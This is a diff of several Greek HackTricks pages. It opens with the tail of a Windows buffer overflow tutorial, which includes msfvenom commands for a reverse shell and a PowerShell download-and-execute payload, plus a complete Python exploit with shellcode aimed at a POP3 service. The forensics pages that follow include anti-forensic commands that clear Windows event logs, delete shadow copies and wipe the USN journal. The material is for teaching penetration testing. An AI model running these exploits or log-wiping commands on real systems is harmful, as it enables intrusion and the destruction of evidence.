"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
)
buffer = 'A'*2606 + 'BBBB' + badchars
```
Οι κακοί χαρακτήρες ξεκινούν από το 0x01 γιατί το 0x00 είναι σχεδόν πάντα κακό.
Εκτελέστε επανειλημμένα την εκμετάλλευση με αυτό το νέο buffer διαγράφοντας τους χαρακτήρες που αποδεικνύονται άχρηστοι:
Για παράδειγμα:
Σε αυτή την περίπτωση μπορείτε να δείτε ότι **δεν πρέπει να χρησιμοποιήσετε τον χαρακτήρα 0x0A** (τίποτα δεν αποθηκεύεται στη μνήμη αφού ο χαρακτήρας είναι 0x09).
![](<../images/image (33) (1).png>)
Σε αυτή την περίπτωση μπορείτε να δείτε ότι **ο χαρακτήρας 0x0D αποφεύγεται**:
![](<../images/image (34) (1).png>)
## Βρείτε ένα JMP ESP ως διεύθυνση επιστροφής
Χρησιμοποιώντας:
```
!mona modules #Get protections, look for all false except last one (Dll of SO)
```
Θα **καταγράψετε τους χάρτες μνήμης**. Αναζητήστε κάποιο DLL που έχει:
- **Rebase: False**
- **SafeSEH: False**
- **ASLR: False**
- **NXCompat: False**
- **OS Dll: True**
![](<../images/image (35) (1).png>)
Τώρα, μέσα σε αυτή τη μνήμη θα πρέπει να βρείτε μερικά JMP ESP bytes, για να το κάνετε αυτό εκτελέστε:
```
!mona find -s "\xff\xe4" -m name_unsecure.dll # Search for opcodes insie dll space (JMP ESP)
!mona find -s "\xff\xe4" -m slmfc.dll # Example in this case
```
**Τότε, αν βρεθεί κάποια διεύθυνση, επιλέξτε μία που δεν περιέχει κανένα badchar:**
![](<../images/image (36) (1).png>)
**Σε αυτή την περίπτωση, για παράδειγμα: \_0x5f4a358f**\_
## Δημιουργία shellcode
```
msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.41 LPORT=443 -f c -b '\x00\x0a\x0d'
msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://10.11.0.41/nishang.ps1')\"" -f python -b '\x00\x0a\x0d'
```
Αν η εκμετάλλευση δεν λειτουργεί αλλά θα έπρεπε (μπορείτε να δείτε με το ImDebg ότι ο κώδικας shell έχει φτάσει), προσπαθήστε να δημιουργήσετε άλλους κώδικες shell (msfvenom με δημιουργία διαφορετικών κωδίκων shell για τις ίδιες παραμέτρους).
**Προσθέστε μερικά NOPS στην αρχή** του κώδικα shell και χρησιμοποιήστε το και τη διεύθυνση επιστροφής για JMP ESP, και ολοκληρώστε την εκμετάλλευση:
```bash
#!/usr/bin/python
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
ip = '10.11.25.153'
port = 110
shellcode = (
"\xb8\x30\x3f\x27\x0c\xdb\xda\xd9\x74\x24\xf4\x5d\x31\xc9\xb1"
"\x52\x31\x45\x12\x83\xed\xfc\x03\x75\x31\xc5\xf9\x89\xa5\x8b"
"\x02\x71\x36\xec\x8b\x94\x07\x2c\xef\xdd\x38\x9c\x7b\xb3\xb4"
"\x57\x29\x27\x4e\x15\xe6\x48\xe7\x90\xd0\x67\xf8\x89\x21\xe6"
"\x7a\xd0\x75\xc8\x43\x1b\x88\x09\x83\x46\x61\x5b\x5c\x0c\xd4"
"\x4b\xe9\x58\xe5\xe0\xa1\x4d\x6d\x15\x71\x6f\x5c\x88\x09\x36"
"\x7e\x2b\xdd\x42\x37\x33\x02\x6e\x81\xc8\xf0\x04\x10\x18\xc9"
"\xe5\xbf\x65\xe5\x17\xc1\xa2\xc2\xc7\xb4\xda\x30\x75\xcf\x19"
"\x4a\xa1\x5a\xb9\xec\x22\xfc\x65\x0c\xe6\x9b\xee\x02\x43\xef"
"\xa8\x06\x52\x3c\xc3\x33\xdf\xc3\x03\xb2\x9b\xe7\x87\x9e\x78"
"\x89\x9e\x7a\x2e\xb6\xc0\x24\x8f\x12\x8b\xc9\xc4\x2e\xd6\x85"
"\x29\x03\xe8\x55\x26\x14\x9b\x67\xe9\x8e\x33\xc4\x62\x09\xc4"
"\x2b\x59\xed\x5a\xd2\x62\x0e\x73\x11\x36\x5e\xeb\xb0\x37\x35"
"\xeb\x3d\xe2\x9a\xbb\x91\x5d\x5b\x6b\x52\x0e\x33\x61\x5d\x71"
"\x23\x8a\xb7\x1a\xce\x71\x50\x2f\x04\x79\x89\x47\x18\x79\xd8"
"\xcb\x95\x9f\xb0\xe3\xf3\x08\x2d\x9d\x59\xc2\xcc\x62\x74\xaf"
"\xcf\xe9\x7b\x50\x81\x19\xf1\x42\x76\xea\x4c\x38\xd1\xf5\x7a"
"\x54\xbd\x64\xe1\xa4\xc8\x94\xbe\xf3\x9d\x6b\xb7\x91\x33\xd5"
"\x61\x87\xc9\x83\x4a\x03\x16\x70\x54\x8a\xdb\xcc\x72\x9c\x25"
"\xcc\x3e\xc8\xf9\x9b\xe8\xa6\xbf\x75\x5b\x10\x16\x29\x35\xf4"
"\xef\x01\x86\x82\xef\x4f\x70\x6a\x41\x26\xc5\x95\x6e\xae\xc1"
"\xee\x92\x4e\x2d\x25\x17\x7e\x64\x67\x3e\x17\x21\xf2\x02\x7a"
"\xd2\x29\x40\x83\x51\xdb\x39\x70\x49\xae\x3c\x3c\xcd\x43\x4d"
"\x2d\xb8\x63\xe2\x4e\xe9"
)
buffer = 'A' * 2606 + '\x8f\x35\x4a\x5f' + "\x90" * 8 + shellcode
try:
print "\nLaunching exploit..."
s.connect((ip, port))
data = s.recv(1024)
s.send('USER username' +'\r\n')
data = s.recv(1024)
s.send('PASS ' + buffer + '\r\n')
print "\nFinished!."
except:
print "Could not connect to "+ip+":"+port
```
> [!WARNING]
> Υπάρχουν shellcodes που θα **επικαλύψουν τον εαυτό τους**, επομένως είναι σημαντικό να προσθέτετε πάντα μερικά NOPs πριν από το shellcode
## Βελτίωση του shellcode
Προσθέστε αυτές τις παραμέτρους:
```
EXITFUNC=thread -e x86/shikata_ga_nai
```
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,82 +0,0 @@
# Βασική Εγκληματολογική Μεθοδολογία
{{#include ../../banners/hacktricks-training.md}}
## Δημιουργία και Τοποθέτηση μιας Εικόνας
{{#ref}}
../../generic-methodologies-and-resources/basic-forensic-methodology/image-acquisition-and-mount.md
{{#endref}}
## Ανάλυση Κακόβουλου Λογισμικού
Αυτό **δεν είναι απαραίτητο το πρώτο βήμα που πρέπει να εκτελέσετε μόλις έχετε την εικόνα**. Αλλά μπορείτε να χρησιμοποιήσετε αυτές τις τεχνικές ανάλυσης κακόβουλου λογισμικού ανεξάρτητα αν έχετε ένα αρχείο, μια εικόνα συστήματος αρχείων, εικόνα μνήμης, pcap... οπότε είναι καλό να **κρατάτε αυτές τις ενέργειες στο μυαλό σας**:
{{#ref}}
malware-analysis.md
{{#endref}}
## Επιθεώρηση μιας Εικόνας
Αν σας δοθεί μια **εγκληματολογική εικόνα** μιας συσκευής μπορείτε να ξεκινήσετε **να αναλύετε τις κατατμήσεις, το σύστημα αρχείων** που χρησιμοποιείται και **να ανακτάτε** δυνητικά **ενδιαφέροντα αρχεία** (ακόμα και διαγραμμένα). Μάθετε πώς στο:
{{#ref}}
partitions-file-systems-carving/
{{#endref}}
Ανάλογα με τα χρησιμοποιούμενα λειτουργικά συστήματα και ακόμα και την πλατφόρμα, θα πρέπει να αναζητηθούν διάφορα ενδιαφέροντα τεκμήρια:
{{#ref}}
windows-forensics/
{{#endref}}
{{#ref}}
linux-forensics.md
{{#endref}}
{{#ref}}
docker-forensics.md
{{#endref}}
## Βαθιά επιθεώρηση συγκεκριμένων τύπων αρχείων και Λογισμικού
Αν έχετε ένα πολύ **ύποπτο** **αρχείο**, τότε **ανάλογα με τον τύπο αρχείου και το λογισμικό** που το δημιούργησε, αρκετές **τεχνικές** μπορεί να είναι χρήσιμες.\
Διαβάστε την παρακάτω σελίδα για να μάθετε μερικές ενδιαφέρουσες τεχνικές:
{{#ref}}
specific-software-file-type-tricks/
{{#endref}}
Θέλω να κάνω μια ειδική αναφορά στη σελίδα:
{{#ref}}
specific-software-file-type-tricks/browser-artifacts.md
{{#endref}}
## Επιθεώρηση Dump Μνήμης
{{#ref}}
memory-dump-analysis/
{{#endref}}
## Επιθεώρηση Pcap
{{#ref}}
pcap-inspection/
{{#endref}}
## **Αντι-Εγκληματολογικές Τεχνικές**
Λάβετε υπόψη τη δυνατότητα χρήσης αντι-εγκληματολογικών τεχνικών:
{{#ref}}
anti-forensic-techniques.md
{{#endref}}
## Κυνήγι Απειλών
{{#ref}}
file-integrity-monitoring.md
{{#endref}}
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,153 +0,0 @@
{{#include ../../banners/hacktricks-training.md}}
# Χρονικά Σημεία
Ένας επιτιθέμενος μπορεί να ενδιαφέρεται για **την αλλαγή των χρονικών σημείων των αρχείων** για να αποφύγει την ανίχνευση.\
Είναι δυνατόν να βρείτε τα χρονικά σημεία μέσα στο MFT σε χαρακτηριστικά `$STANDARD_INFORMATION`**και**`$FILE_NAME`.
Και τα δύο χαρακτηριστικά έχουν 4 χρονικά σημεία: **Τροποποίηση**, **πρόσβαση**, **δημιουργία** και **τροποποίηση μητρώου MFT** (MACE ή MACB).
**Ο εξερευνητής των Windows** και άλλα εργαλεία δείχνουν τις πληροφορίες από **`$STANDARD_INFORMATION`**.
## TimeStomp - Αντι-Forensic Εργαλείο
Αυτό το εργαλείο **τροποποιεί** τις πληροφορίες χρονικών σημείων μέσα στο **`$STANDARD_INFORMATION`** **αλλά** **όχι** τις πληροφορίες μέσα στο **`$FILE_NAME`**. Επομένως, είναι δυνατόν να **εντοπιστεί** **ύποπτη** **δραστηριότητα**.
## Usnjrnl
Το **USN Journal** (Ημερολόγιο Αριθμού Ακολουθίας Ενημέρωσης) είναι μια δυνατότητα του NTFS (σύστημα αρχείων Windows NT) που παρακολουθεί τις αλλαγές του όγκου. Το [**UsnJrnl2Csv**](https://github.com/jschicht/UsnJrnl2Csv) εργαλείο επιτρέπει την εξέταση αυτών των αλλαγών.
![](<../../images/image (449).png>)
Η προηγούμενη εικόνα είναι η **έξοδος** που εμφανίζεται από το **εργαλείο** όπου μπορεί να παρατηρηθεί ότι κάποιες **αλλαγές πραγματοποιήθηκαν** στο αρχείο.
## $LogFile
**Όλες οι αλλαγές μεταδεδομένων σε ένα σύστημα αρχείων καταγράφονται** σε μια διαδικασία γνωστή ως [write-ahead logging](https://en.wikipedia.org/wiki/Write-ahead_logging). Τα καταγεγραμμένα μεταδεδομένα διατηρούνται σε ένα αρχείο ονόματι `**$LogFile**`, που βρίσκεται στον ριζικό κατάλογο ενός συστήματος αρχείων NTFS. Εργαλεία όπως το [LogFileParser](https://github.com/jschicht/LogFileParser) μπορούν να χρησιμοποιηθούν για την ανάλυση αυτού του αρχείου και την αναγνώριση αλλαγών.
![](<../../images/image (450).png>)
Και πάλι, στην έξοδο του εργαλείου είναι δυνατόν να δούμε ότι **κάποιες αλλαγές πραγματοποιήθηκαν**.
Χρησιμοποιώντας το ίδιο εργαλείο είναι δυνατόν να εντοπιστεί **σε ποιο χρόνο τροποποιήθηκαν τα χρονικά σημεία**:
![](<../../images/image (451).png>)
- CTIME: Χρόνος δημιουργίας αρχείου
- ATIME: Χρόνος τροποποίησης αρχείου
- MTIME: Τροποποίηση μητρώου MFT αρχείου
- RTIME: Χρόνος πρόσβασης αρχείου
## Σύγκριση `$STANDARD_INFORMATION` και `$FILE_NAME`
Ένας άλλος τρόπος για να εντοπιστούν ύποπτα τροποποιημένα αρχεία θα ήταν να συγκρίνουμε τον χρόνο και στα δύο χαρακτηριστικά αναζητώντας **ασυμφωνίες**.
## Νανοδευτερόλεπτα
**Τα χρονικά σημεία NTFS έχουν μια **ακρίβεια** **100 νανοδευτερολέπτων**. Έτσι, η εύρεση αρχείων με χρονικά σημεία όπως 2010-10-10 10:10:**00.000:0000 είναι πολύ ύποπτη**.
## SetMace - Αντι-Forensic Εργαλείο
Αυτό το εργαλείο μπορεί να τροποποιήσει και τα δύο χαρακτηριστικά `$STARNDAR_INFORMATION` και `$FILE_NAME`. Ωστόσο, από τα Windows Vista, είναι απαραίτητο να υπάρχει ένα ζωντανό λειτουργικό σύστημα για να τροποποιήσει αυτές τις πληροφορίες.
# Απόκρυψη Δεδομένων
Το NFTS χρησιμοποιεί ένα cluster και το ελάχιστο μέγεθος πληροφορίας. Αυτό σημαίνει ότι αν ένα αρχείο καταλαμβάνει και ένα cluster και μισό, το **υπόλοιπο μισό δεν θα χρησιμοποιηθεί ποτέ** μέχρι να διαγραφεί το αρχείο. Έτσι, είναι δυνατόν να **αποκρυφτούν δεδομένα σε αυτόν τον χώρο slack**.
Υπάρχουν εργαλεία όπως το slacker που επιτρέπουν την απόκρυψη δεδομένων σε αυτόν τον "κρυφό" χώρο. Ωστόσο, μια ανάλυση του `$logfile` και του `$usnjrnl` μπορεί να δείξει ότι προστέθηκαν κάποια δεδομένα:
![](<../../images/image (452).png>)
Έτσι, είναι δυνατόν να ανακτηθεί ο χώρος slack χρησιμοποιώντας εργαλεία όπως το FTK Imager. Σημειώστε ότι αυτός ο τύπος εργαλείου μπορεί να αποθηκεύσει το περιεχόμενο κρυπτογραφημένο ή ακόμα και κρυπτογραφημένο.
# UsbKill
Αυτό είναι ένα εργαλείο που θα **κλείσει τον υπολογιστή αν ανιχνευθεί οποιαδήποτε αλλαγή στις θύρες USB**.\
Ένας τρόπος για να το ανακαλύψετε θα ήταν να ελέγξετε τις τρέχουσες διαδικασίες και **να αναθεωρήσετε κάθε εκτελέσιμο python script**.
# Ζωντανές Διανομές Linux
Αυτές οι διανομές **εκτελούνται μέσα στη μνήμη RAM**. Ο μόνος τρόπος για να τις ανιχνεύσετε είναι **σε περίπτωση που το σύστημα αρχείων NTFS είναι προσαρτημένο με δικαιώματα εγγραφής**. Αν είναι προσαρτημένο μόνο με δικαιώματα ανάγνωσης, δεν θα είναι δυνατόν να ανιχνευθεί η εισβολή.
# Ασφαλής Διαγραφή
[https://github.com/Claudio-C/awesome-data-sanitization](https://github.com/Claudio-C/awesome-data-sanitization)
# Ρύθμιση των Windows
Είναι δυνατόν να απενεργοποιηθούν πολλές μέθοδοι καταγραφής των Windows για να καταστήσουν την εγκληματολογική έρευνα πολύ πιο δύσκολη.
## Απενεργοποίηση Χρονικών Σημείων - UserAssist
Αυτό είναι ένα κλειδί μητρώου που διατηρεί ημερομηνίες και ώρες όταν κάθε εκτελέσιμο εκτελείται από τον χρήστη.
Η απενεργοποίηση του UserAssist απαιτεί δύο βήματα:
1. Ρυθμίστε δύο κλειδιά μητρώου, `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackProgs` και `HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced\Start_TrackEnabled`, και τα δύο στο μηδέν για να δηλώσετε ότι θέλουμε να απενεργοποιηθεί το UserAssist.
2. Καθαρίστε τους υποκαταλόγους του μητρώου σας που μοιάζουν με `HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssist\<hash>`.
## Απενεργοποίηση Χρονικών Σημείων - Prefetch
Αυτό θα αποθηκεύσει πληροφορίες σχετικά με τις εφαρμογές που εκτελούνται με στόχο τη βελτίωση της απόδοσης του συστήματος Windows. Ωστόσο, αυτό μπορεί επίσης να είναι χρήσιμο για εγκληματολογικές πρακτικές.
- Εκτελέστε `regedit`
- Επιλέξτε τη διαδρομή αρχείου `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\SessionManager\Memory Management\PrefetchParameters`
- Κάντε δεξί κλικ και στα δύο `EnablePrefetcher` και `EnableSuperfetch`
- Επιλέξτε Τροποποίηση σε καθένα από αυτά για να αλλάξετε την τιμή από 1 (ή 3) σε 0
- Επανεκκινήστε
## Απενεργοποίηση Χρονικών Σημείων - Χρόνος Τελευταίας Πρόσβασης
Όποτε ένα φάκελος ανοίγεται από έναν όγκο NTFS σε έναν διακομιστή Windows NT, το σύστημα παίρνει τον χρόνο για να **ενημερώσει ένα πεδίο χρονικού σημείου σε κάθε καταγεγραμμένο φάκελο**, που ονομάζεται χρόνος τελευταίας πρόσβασης. Σε έναν πολύ χρησιμοποιούμενο όγκο NTFS, αυτό μπορεί να επηρεάσει την απόδοση.
1. Ανοίξτε τον Επεξεργαστή Μητρώου (Regedit.exe).
2. Περιηγηθείτε στο `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\FileSystem`.
3. Αναζητήστε το `NtfsDisableLastAccessUpdate`. Αν δεν υπάρχει, προσθέστε αυτό το DWORD και ρυθμίστε την τιμή του σε 1, που θα απενεργοποιήσει τη διαδικασία.
4. Κλείστε τον Επεξεργαστή Μητρώου και επανεκκινήστε τον διακομιστή.
## Διαγραφή Ιστορικού USB
Όλες οι **Εγγραφές Συσκευών USB** αποθηκεύονται στο Μητρώο των Windows κάτω από το κλειδί μητρώου **USBSTOR** που περιέχει υποκλειδιά που δημιουργούνται όποτε συνδέετε μια συσκευή USB στον υπολογιστή ή το φορητό σας. Μπορείτε να βρείτε αυτό το κλειδί εδώ H`KEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **Διαγράφοντας αυτό** θα διαγράψετε το ιστορικό USB.\
Μπορείτε επίσης να χρησιμοποιήσετε το εργαλείο [**USBDeview**](https://www.nirsoft.net/utils/usb_devices_view.html) για να βεβαιωθείτε ότι τα έχετε διαγράψει (και για να τα διαγράψετε).
Ένα άλλο αρχείο που αποθηκεύει πληροφορίες σχετικά με τα USB είναι το αρχείο `setupapi.dev.log` μέσα στο `C:\Windows\INF`. Αυτό θα πρέπει επίσης να διαγραφεί.
## Απενεργοποίηση Αντιγράφων Σκιάς
**Λίστα** αντιγράφων σκιάς με `vssadmin list shadowstorage`\
**Διαγράψτε** τα εκτελώντας `vssadmin delete shadow`
Μπορείτε επίσης να τα διαγράψετε μέσω GUI ακολουθώντας τα βήματα που προτείνονται στο [https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html)
Για να απενεργοποιήσετε τα αντίγραφα σκιάς [βήματα από εδώ](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows):
1. Ανοίξτε το πρόγραμμα Υπηρεσίες πληκτρολογώντας "services" στο πλαίσιο αναζήτησης κειμένου μετά την κλικ στο κουμπί εκκίνησης των Windows.
2. Από τη λίστα, βρείτε "Volume Shadow Copy", επιλέξτε το και στη συνέχεια αποκτήστε πρόσβαση στις Ιδιότητες κάνοντας δεξί κλικ.
3. Επιλέξτε Απενεργοποιημένο από το αναπτυσσόμενο μενού "Τύπος εκκίνησης" και στη συνέχεια επιβεβαιώστε την αλλαγή κάνοντας κλικ στο Εφαρμογή και OK.
Είναι επίσης δυνατόν να τροποποιήσετε τη ρύθμιση του ποια αρχεία θα αντιγραφούν στο αντίγραφο σκιάς στο μητρώο `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot`
## Επικαλύψτε διαγραμμένα αρχεία
- Μπορείτε να χρησιμοποιήσετε ένα **εργαλείο Windows**: `cipher /w:C` Αυτό θα υποδείξει στον cipher να αφαιρέσει οποιαδήποτε δεδομένα από τον διαθέσιμο μη χρησιμοποιούμενο χώρο δίσκου μέσα στον δίσκο C.
- Μπορείτε επίσης να χρησιμοποιήσετε εργαλεία όπως το [**Eraser**](https://eraser.heidi.ie)
## Διαγραφή καταγραφών γεγονότων Windows
- Windows + R --> eventvwr.msc --> Επεκτείνετε "Windows Logs" --> Κάντε δεξί κλικ σε κάθε κατηγορία και επιλέξτε "Clear Log"
- `for /F "tokens=*" %1 in ('wevtutil.exe el') DO wevtutil.exe cl "%1"`
- `Get-EventLog -LogName * | ForEach { Clear-EventLog $_.Log }`
## Απενεργοποίηση καταγραφών γεγονότων Windows
- `reg add 'HKLM\SYSTEM\CurrentControlSet\Services\eventlog' /v Start /t REG_DWORD /d 4 /f`
- Μέσα στην ενότητα υπηρεσιών απενεργοποιήστε την υπηρεσία "Windows Event Log"
- `WEvtUtil.exec clear-log` ή `WEvtUtil.exe cl`
## Απενεργοποίηση $UsnJrnl
- `fsutil usn deletejournal /d c:`
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,96 +0,0 @@
# Docker Forensics
{{#include ../../banners/hacktricks-training.md}}
## Container modification
Υπάρχουν υποψίες ότι κάποιο docker container έχει παραβιαστεί:
```bash
docker ps
CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
cc03e43a052a lamp-wordpress "./run.sh" 2 minutes ago Up 2 minutes 80/tcp wordpress
```
Μπορείτε εύκολα **να βρείτε τις τροποποιήσεις που έχουν γίνει σε αυτό το κοντέινερ σε σχέση με την εικόνα** με:
```bash
docker diff wordpress
C /var
C /var/lib
C /var/lib/mysql
A /var/lib/mysql/ib_logfile0
A /var/lib/mysql/ib_logfile1
A /var/lib/mysql/ibdata1
A /var/lib/mysql/mysql
A /var/lib/mysql/mysql/time_zone_leap_second.MYI
A /var/lib/mysql/mysql/general_log.CSV
...
```
Στην προηγούμενη εντολή, το **C** σημαίνει **Αλλαγμένο** και το **A** σημαίνει **Προστιθέμενο**.\
Αν διαπιστώσετε ότι κάποιο ενδιαφέρον αρχείο όπως το `/etc/shadow` έχει τροποποιηθεί, μπορείτε να το κατεβάσετε από το κοντέινερ για να ελέγξετε για κακόβουλη δραστηριότητα με:
```bash
docker cp wordpress:/etc/shadow.
```
Μπορείτε επίσης να **το συγκρίνετε με το πρωτότυπο** εκτελώντας ένα νέο κοντέινερ και εξάγοντας το αρχείο από αυτό:
```bash
docker run -d lamp-wordpress
docker cp b5d53e8b468e:/etc/shadow original_shadow #Get the file from the newly created container
diff original_shadow shadow
```
Αν διαπιστώσετε ότι **κάποιο ύποπτο αρχείο προστέθηκε** μπορείτε να αποκτήσετε πρόσβαση στο κοντέινερ και να το ελέγξετε:
```bash
docker exec -it wordpress bash
```
## Τροποποιήσεις εικόνας
Όταν σας δοθεί μια εξαγόμενη εικόνα docker (πιθανώς σε μορφή `.tar`), μπορείτε να χρησιμοποιήσετε [**container-diff**](https://github.com/GoogleContainerTools/container-diff/releases) για να **εξαγάγετε μια περίληψη των τροποποιήσεων**:
```bash
docker save <image> > image.tar #Export the image to a .tar file
container-diff analyze -t sizelayer image.tar
container-diff analyze -t history image.tar
container-diff analyze -t metadata image.tar
```
Στη συνέχεια, μπορείτε να **αποσυμπιέσετε** την εικόνα και να **πρόσβαση στα blobs** για να αναζητήσετε ύποπτα αρχεία που μπορεί να έχετε βρει στην ιστορία αλλαγών:
```bash
tar -xf image.tar
```
### Βασική Ανάλυση
Μπορείτε να αποκτήσετε **βασικές πληροφορίες** από την εικόνα εκτελώντας:
```bash
docker inspect <image>
```
Μπορείτε επίσης να αποκτήσετε μια περίληψη **ιστορικό αλλαγών** με:
```bash
docker history --no-trunc <image>
```
Μπορείτε επίσης να δημιουργήσετε ένα **dockerfile από μια εικόνα** με:
```bash
alias dfimage="docker run -v /var/run/docker.sock:/var/run/docker.sock --rm alpine/dfimage"
dfimage -sV=1.36 madhuakula/k8s-goat-hidden-in-layers>
```
### Dive
Για να βρείτε προστιθέμενα/τροποποιημένα αρχεία σε εικόνες docker, μπορείτε επίσης να χρησιμοποιήσετε το [**dive**](https://github.com/wagoodman/dive) (κατεβάστε το από το [**releases**](https://github.com/wagoodman/dive/releases/tag/v0.10.0)) εργαλείο:
```bash
#First you need to load the image in your docker repo
sudo docker load < image.tar 1
Loaded image: flask:latest
#And then open it with dive:
sudo dive flask:latest
```
Αυτό σας επιτρέπει να **περιηγηθείτε μέσα από τα διάφορα blobs των εικόνων docker** και να ελέγξετε ποια αρχεία έχουν τροποποιηθεί/προστεθεί. **Κόκκινο** σημαίνει προσθήκη και **κίτρινο** σημαίνει τροποποίηση. Χρησιμοποιήστε **tab** για να μετακινηθείτε στην άλλη προβολή και **space** για να συμπτύξετε/ανοίξετε φακέλους.
Με το die δεν θα μπορείτε να αποκτήσετε πρόσβαση στο περιεχόμενο των διαφόρων σταδίων της εικόνας. Για να το κάνετε αυτό, θα χρειαστεί να **αποσυμπιέσετε κάθε στρώμα και να αποκτήσετε πρόσβαση σε αυτό**.\
Μπορείτε να αποσυμπιέσετε όλα τα στρώματα από μια εικόνα από τον κατάλογο όπου αποσυμπιέστηκε η εικόνα εκτελώντας:
```bash
tar -xf image.tar
for d in `find * -maxdepth 0 -type d`; do cd $d; tar -xf ./layer.tar; cd ..; done
```
## Διαπιστευτήρια από τη μνήμη
Σημειώστε ότι όταν εκτελείτε ένα docker container μέσα σε έναν host **μπορείτε να δείτε τις διεργασίες που εκτελούνται στο container από τον host** απλά εκτελώντας `ps -ef`
Επομένως (ως root) μπορείτε να **dump την μνήμη των διεργασιών** από τον host και να αναζητήσετε **διαπιστευτήρια** ακριβώς [**όπως στο παρακάτω παράδειγμα**](../../linux-hardening/privilege-escalation/index.html#process-memory).
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,26 +0,0 @@
{{#include ../../banners/hacktricks-training.md}}
# Βασική Γραμμή
Μια βασική γραμμή αποτελείται από τη λήψη μιας στιγμιότυπης εικόνας ορισμένων τμημάτων ενός συστήματος για **να τη συγκρίνουμε με μια μελλοντική κατάσταση ώστε να επισημάνουμε τις αλλαγές**.
Για παράδειγμα, μπορείτε να υπολογίσετε και να αποθηκεύσετε το hash κάθε αρχείου του συστήματος αρχείων για να μπορέσετε να διαπιστώσετε ποια αρχεία έχουν τροποποιηθεί.\
Αυτό μπορεί επίσης να γίνει με τους λογαριασμούς χρηστών που έχουν δημιουργηθεί, τις διαδικασίες που εκτελούνται, τις υπηρεσίες που εκτελούνται και οτιδήποτε άλλο δεν θα έπρεπε να αλλάξει πολύ ή καθόλου.
## Παρακολούθηση Ακεραιότητας Αρχείων
Η Παρακολούθηση Ακεραιότητας Αρχείων (FIM) είναι μια κρίσιμη τεχνική ασφάλειας που προστατεύει τα IT περιβάλλοντα και τα δεδομένα παρακολουθώντας τις αλλαγές στα αρχεία. Περιλαμβάνει δύο βασικά βήματα:
1. **Σύγκριση Βασικής Γραμμής:** Καθιερώστε μια βασική γραμμή χρησιμοποιώντας χαρακτηριστικά αρχείων ή κρυπτογραφικούς ελέγχους (όπως MD5 ή SHA-2) για μελλοντικές συγκρίσεις ώστε να ανιχνεύσετε τροποποιήσεις.
2. **Ειδοποίηση Αλλαγών σε Πραγματικό Χρόνο:** Λάβετε άμεσες ειδοποιήσεις όταν τα αρχεία προσπελάζονται ή τροποποιούνται, συνήθως μέσω επεκτάσεων πυρήνα OS.
## Εργαλεία
- [https://github.com/topics/file-integrity-monitoring](https://github.com/topics/file-integrity-monitoring)
- [https://www.solarwinds.com/security-event-manager/use-cases/file-integrity-monitoring-software](https://www.solarwinds.com/security-event-manager/use-cases/file-integrity-monitoring-software)
## Αναφορές
- [https://cybersecurity.att.com/blogs/security-essentials/what-is-file-integrity-monitoring-and-why-you-need-it](https://cybersecurity.att.com/blogs/security-essentials/what-is-file-integrity-monitoring-and-why-you-need-it)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,370 +0,0 @@
# Linux Forensics
{{#include ../../banners/hacktricks-training.md}}
## Αρχική Συλλογή Πληροφοριών
### Βασικές Πληροφορίες
Πρώτα απ' όλα, συνιστάται να έχετε ένα **USB** με **καλά γνωστά δυαδικά αρχεία και βιβλιοθήκες σε αυτό** (μπορείτε απλά να πάρετε το ubuntu και να αντιγράψετε τους φακέλους _/bin_, _/sbin_, _/lib,_ και _/lib64_), στη συνέχεια να τοποθετήσετε το USB και να τροποποιήσετε τις μεταβλητές περιβάλλοντος για να χρησιμοποιήσετε αυτά τα δυαδικά αρχεία:
```bash
export PATH=/mnt/usb/bin:/mnt/usb/sbin
export LD_LIBRARY_PATH=/mnt/usb/lib:/mnt/usb/lib64
```
Αφού έχετε ρυθμίσει το σύστημα να χρησιμοποιεί καλές και γνωστές δυαδικές εκδόσεις, μπορείτε να αρχίσετε **να εξάγετε κάποιες βασικές πληροφορίες**:
```bash
date #Date and time (Clock may be skewed, Might be at a different timezone)
uname -a #OS info
ifconfig -a || ip a #Network interfaces (promiscuous mode?)
ps -ef #Running processes
netstat -anp #Proccess and ports
lsof -V #Open files
netstat -rn; route #Routing table
df; mount #Free space and mounted devices
